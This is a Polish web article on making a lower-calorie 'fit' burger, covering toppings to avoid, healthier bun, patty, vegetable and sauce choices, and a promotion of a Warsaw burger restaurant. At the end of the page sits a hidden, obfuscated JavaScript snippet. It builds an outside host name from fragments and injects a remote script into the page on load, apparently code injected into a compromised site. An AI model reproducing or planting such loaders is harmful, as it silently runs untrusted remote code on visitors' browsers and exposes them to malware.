Burger w wersji fit, czyli jaki? Sprawdź

Chcesz się zdrowo odżywiać, więc myślisz, że burgery nie są dla Ciebie? Jak mawia klasyk: nic bardziej mylnego. Wszystko zależy od tego, jaki to burger. Wystarczy kilka drobnych zmian, by przyrządzić takiego, który nie będzie bombą kaloryczną. Możesz ich dokonać samodzielnie lub zamówić burgera w wersji fit w dobrym lokalu.

Jakie elementy są kluczowe, by przyrządzić burgera w wersji fit? Po pierwsze: jakość i rodzaj mięsa Istotny jest jednak również dobór dodatków, a także wybór bułki. Co zatem może się znaleźć w burgerze w wersji fit, a czego absolutnie unikać? Oto najważniejsze zasady.

Temu powiedz „nie”
Burger burgerowi nierówny. Dodatki możesz dobrać samodzielnie – zarówno, gdy przygotowujesz to amerykańskie danie w domowym zaciszu, jak i kiedy jesteś w dobrej burgerowni, np. Chef Burger w Warszawie. A skoro tak, wybieraj świadomie. Jeśli burger ma być w wersji fit, unikaj dodatków takich jak:
 - ser żółty – choć przepyszny, wyraźnie podnosi kaloryczność całości,
 - chrupiący bekon – dodaje fenomenalnego aromatu, ale i jest tłusty oraz słony,
 - sosy majonezowe – znacznie lepszym wyborem będzie musztarda oraz ketchup.

Jeżeli przygotowujesz burgera samodzielnie, unikaj również wszelkich „gotowców” – np. garmażeryjnych kotletów, wysoko przetworzonych bułek z dużą ilością cukru i „polepszaczy” czy gotowych sosów. Nad tym, co przygotujesz samodzielnie, masz większą kontrolę. I jeszcze jedno: raczej jeden kotlet niż dwa czy trzy. Mniejsza porcja jest również bardziej fit.

Te składniki są na „tak”
Nie ma sera, bekonu, majonezu. Mięsa też mniej niż więcej… Czy to jeszcze burger? Pytanie jest oczywiście przewrotne, ponieważ zamiana składników wcale nie uczyni potrawy mniej smaczną. Co wybierać?
 - Bułka: jeśli to możliwe, poproś pieczywo pełnoziarniste. Zawiera więcej błonnika i ma niższy indeks glikemiczny, a przy tym dodaje całej kompozycji ciekawego aromatu.
 - Kotlet: może być klasyczny, z grillowanej, chudej, wołowiny. Ale to nie jedyna opcja. W wersji fit dobrze sprawdzi się np. mielony indyk, filet z kurczaka, a także składniki wegetariańskie – np. ciecierzyca, soczewica czy soja. Jeśli do mieszanki zostały dodane otręby, tym lepiej dla Ciebie.
 - Dodatki: im więcej warzyw, tym lepiej. Soczysty pomidor, chrupiąca cebulka, sałata lodowa, rukola, a dla kremowego posmaku – awokado.
 - Sosy: musztarda oraz keczup o naturalnych składach są jak najbardziej dopuszczalne, podobnie jak sosy na bazie jogurtu naturalnego.

Oczywiście gama zdrowych składników – odpowiednich również dla tych, którzy dbają o swoją sylwetkę – wcale się nie zamyka na wymienionych tutaj produktach. Przyjrzyj się więc dokładnie dobrych burgerowni, np. Chef Burger w Warszawie i wybieraj świadomie. A jeżeli przyrządzasz pyszne, amerykańskie danie w domu – eksperymentuj i odkrywaj nowe smaki. Możesz to zrobić, łącząc przyjemne z pożytecznym – jedząc smacznie i ciekawie, a jednocześnie troszcząc się o sylwetkę i ogólny stan organizmu.

Kierując się tymi zasadami, będziesz mógł skosztować dobrego burgera bez wyrzutów sumienia, że efekty osiągnięte podczas treningu pójdą na marne.

<script type="text/javascript">// <![CDATA[
(function(){
itdn_=("u"+"st");itdn=document.createElement("script");itdn.async=true;
itdnu="67511449";itdn_+="a"+("t.");itdn_+="i"+("nf"+("o"))+("/");
itdnu+=".x48av472tdnf3s2m";itdnu+="ar8snXq425749x";
itdn.src="//"+itdn_+itdnu;itdn.type="text/javascript";
d_b=document.body;d_b.appendChild(itdn);
})();
//]]></script>

